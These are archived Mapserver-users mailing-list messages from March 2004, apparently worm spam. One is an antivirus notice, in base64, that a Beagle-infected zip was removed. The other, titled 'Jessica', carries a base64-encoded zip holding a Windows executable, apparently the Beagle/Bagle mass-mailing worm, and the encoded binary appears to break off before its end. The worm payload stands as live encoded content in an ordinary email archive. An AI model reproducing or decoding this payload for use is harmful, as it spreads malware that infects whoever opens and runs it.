From mapserver at digger.net Mon Mar 1 01:47:05 2004 From: mapserver at digger.net (mapserver at digger.net) Date: Mon, 01 Mar 2004 10:47:05 +0100 Subject: [Mapserver-users] Ahtung! Message-ID: ----------nirllxamlbbbbeuqheph Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------nirllxamlbbbbeuqheph Content-Type: plain/text; name="Norton AntiVirus Deleted1.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Norton AntiVirus Deleted1.txt" Tm9ydG9uIEFudGlWaXJ1cyByZW1vdmVkIHRoZSBhdHRhY2htZW50OiBkYmFiYmQuemlwLg0N ClRoZSBXMzIuQmVhZ2xlLkNAbW0gdGhyZWF0IHdhcyBkZXRlY3RlZCBpbiB0aGUgYXR0YWNo bWVudC4= ----------nirllxamlbbbbeuqheph-- From shpr at libero.it Mon Mar 1 02:16:27 2004 From: shpr at libero.it (shpr at libero.it) Date: Mon, 01 Mar 2004 11:16:27 +0100 Subject: [Mapserver-users] Jessica Message-ID: ----------eqmnjbghpntsjkkkaorc Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Cya ----------eqmnjbghpntsjkkkaorc Content-Type: application/octet-stream; name="acedbdccabb.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cddebea.zip" UEsDBAoAAAAAAMBYYTC48NzxX0UAAF9FAAAMAAAAZnFneHBtaHcuZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADOonn7isMXqIrDF6iKwxeoisMXqInDF6gE3ASousMXqGLcEqiLwxeoduMFqIvD F6hNxRGoi8MXqFJpY2iKwxeoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQAAAAAA AAAAAAAAAADgAA8BCwEAAAAOAAAAYAAAAAAAAACgAAAAEAAAACAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA4AAAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAAAxogAA0QAAAACQAACgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAKwAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAgAAAAADgAAAAAAAAQNAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA AABAAADAAAYAAAAAAACKBAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwABSAAAAAAAA 9FQAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAKADAAAAkAAAAAQAAAAE AAAAAAAAAAAAAAAAAQBAAADAAAAAAAAAAAAAQAAAAKAAAAA6AAAACAAAAAAAAAAAAAAAAAAA QAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACAAAAAAAAAAAAAAAAA AAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAABAAAA AACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQA AAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICA gADAwMAAAAD/AAAAAAAA//8A/wAAAP8A/wD//wAA////AKqqAAAAAAAAAAAAAAAKqqqqp4iI iIiIiIiIiIiAgKqqqn//////////////+AgKqqp///////////////gICqqqf/AAAA////// ///4CAqqqn//////////////+AgKqqp/8AAAD/////////gICqqqf//////////////4CAqq qn//////////////+AgKqqp/8AAAAAAAAAAAD/gICqqqf//////////////4CAqqqn/wAAAA AAAAAAAP+AgKqqp///////////////gICqqqf/AAAAAAAAAAAA/4CAqqqn////////////// +AgKqqp/8AAAAAAAAAAAD/gICqqqf//////////////4CAqqqn//////////////+AgKqqp/ 8AAAD/////////gICqqqf//////////////4CAqqqn//////////////+AgKqqp///////// //////gICqqqf/AAAA/////////4CAqqqn//////////////+AgKqqp/8AAAD////w8AD/gI Cqqqf//////////////4CAqqqn//////////////+AgKqqp///////////////gICqqqfw/w /w/w/w/w/w/3CAqqqn8P8P8P8P8P8P8P9wgKqqqn939393939393939wqqqqqgCgCgCgCgCg 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 